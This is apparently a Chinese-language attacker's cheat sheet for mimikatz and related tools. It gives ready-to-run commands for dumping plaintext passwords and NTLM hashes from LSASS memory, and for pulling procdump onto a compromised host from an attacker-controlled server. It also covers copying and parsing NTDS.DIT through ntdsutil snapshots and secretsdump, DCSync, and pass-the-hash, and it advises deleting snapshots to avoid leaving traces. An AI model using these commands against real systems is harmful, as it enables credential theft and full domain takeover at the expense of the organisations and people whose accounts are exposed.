mimikatz
mimikatz工具从内存中提取明文密码,HASH值,PIN密码和票据,利用zerologon漏洞(通过NetLogon/MS-NRPC协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码设置为空。
mimikatz 需要管理员或 SYSTEM 权限,通常使用 DEBUG 权限执行某些操作,与 LSASS 进程(取决于所做的操作的要求)进行交互。
mimikatz与凭证
在用户登录之后,会生成很多凭证数据并存储在本地安全权限服务的进程(LSASS)内存中。其目的是为了方便单点登录(SSO)在每次对资源进行访问请求时确保用户不会被提示。
凭证数据包括 NTLM 密码哈希,LM 密码哈希(如果密码长度小于 15 个字符),甚至明文密码(以支持其他的 WDigest 和 SSP 认证)。虽然可以阻止 Windows 创建 LM 哈希到本地计算机的 SAM 数据库(或 AD 数据库),但这并不能阻止系统在内存中生成 LM 哈希。
常用命令
system::user //查看当前登录的用户
process::list //列出进程
process::stop processname //结束进程(有些进程结束不了,即使权限够大)
process::suspend processname //暂停进程
process::modules //列出系统核心模块和其所在的物理路径
service::list //列出系统服务
service::stop (start) service_name //停止(开启)服务
privilege::list //列出系统权限列表
privilege::debug //提升权限 (执行这条命令得有足够的权限)
nogpo::cmd //打开cmd
nogpo::regedit //打开注册表
ts::sessions //显示当前回话
ts::processes //显示当前进程及其PID
sekurlsa::logonpasswords //获取当前在线用户的明文密码(需要高权限运行)
lsadump::lsa /patch //获取当前此计算机存在过用户的NTLMHASH
inject::process lsass.exe '路径' sekurlsa.dll //进程注入(如果用1.0版本获取hash的时候发现sekurlsa模块存
远程连接使用
控制远程的服务器后,‘帮助’对方下载mimikatz,然后以管理员身份运行mimikatz.exe
运行下面指令,即可得到当前内网中的所有密码
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码//非交互式shell中
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
本地使用
mimikatz是从 lsass.exe进程中获取windows的账号及密码的,
如果对方安装了防火墙,我们可以帮对方安装一个procdump64.exe,然后从 lsass.exe进程里导出一个包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从dmp文件里读取信息。
1.下载procdump64.exe
powershell环境下:Invoke-WebRequest -Uri "http://<your-server>/procdump64.exe" -OutFile "C:\Windows\Temp\procdump64.exe" 2.从procdump64.exe里导出lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 3.将lsass.dmp传回本地 4.使用本地的mimikatz.exe读取lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 为了方便复制与查看,可以输出到本地文件里面:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt
读取域控成员HASH
域控本地读取
读取域控本地哈希是指直接从域控制器(Domain Controller)上获取NTDS.DIT 文件中存储的用户密码哈希(包括域用户和域管理员的哈希),该文件存储了所有与Active Directory相关的账户信息。(在域控上以域管理员身份执行mimikatz)
本地直接执行
Copy#提升权限
privilege::debug抓取hash密码
lsadump::lsa /patch
通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取
通过 DCSync和目录复制服务(DRS) 从 NTDS.DIT 文件中检索密码哈希值的操作,即你可以通过模拟域控制器(Domain Controller)与其他域控制器之间的复制通信来提取 Active Directory 中的用户密码哈希,甚至包括域管理员账户的哈希
● DCSync:
DCSync 是 Mimikatz 工具中的一个功能,允许攻击者模拟域控制器的复制请求(通常用于从一个域控制器到另一个域控制器同步数据),以此来获取 NTDS.DIT 文件中的敏感信息,特别是 密码哈希。
当攻击者具备足够权限时,他们可以请求复制域控制器上的 Active Directory 数据库(NTDS.DIT),其中包括用户的密码哈希。
● NTDS.DIT 文件:
NTDS.DIT是Active Directory 数据库文件,存储了域内所有用户、计算机和组的账户信息,包括密码哈希。
这个文件对域控制器非常重要,因为它包含了域内所有身份验证所需的用户数据。
● 目录复制服务(DRS):
目录复制服务(Directory Replication Service, DRS)是用于将 Active Directory 中的更改从一个域控制器复制到其他域控制器的机制。
导出域成员哈希
导出域成员哈希是指从域成员计算机(即非域控制器的其他计算机)上提取域账户的NTLM哈希,通常这类计算机已加入到域中。
域账户的用户名和hash密码以域数据库的形式存放在域控制器的%SystemRoot%\ntds\NTDS.DIT
文件中。
这里可以借助ntdsutil.exe
,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit#加载快照
ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit#Copy文件副本
copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:
Copysecretsdump.py -ntds.dit -system system.hive LOCAL
最后记得卸载删除快照(避免留痕)
ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
ntdsutil snapshot "delete {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
我们对两种不同方法进行比较:
secretsdump脚本直接导出域hash
secretsdump.py
是Impacket工具集中的一个脚本,用于直接导出域内用户的哈希。这里的操作更简单粗暴,因为它省去了手动复制文件和创建快照的步骤
Copypython secretsdump.py rabbitmask:123456@192.168.15.181 (domain:password@ip)
首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功
哈希传递
privilege::debug #先提权
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希
提权:
攻击完成后,查看权限:
dir \\dc.sun.com\c$
#也可以ip查看
dir \\192.168.1.5\c$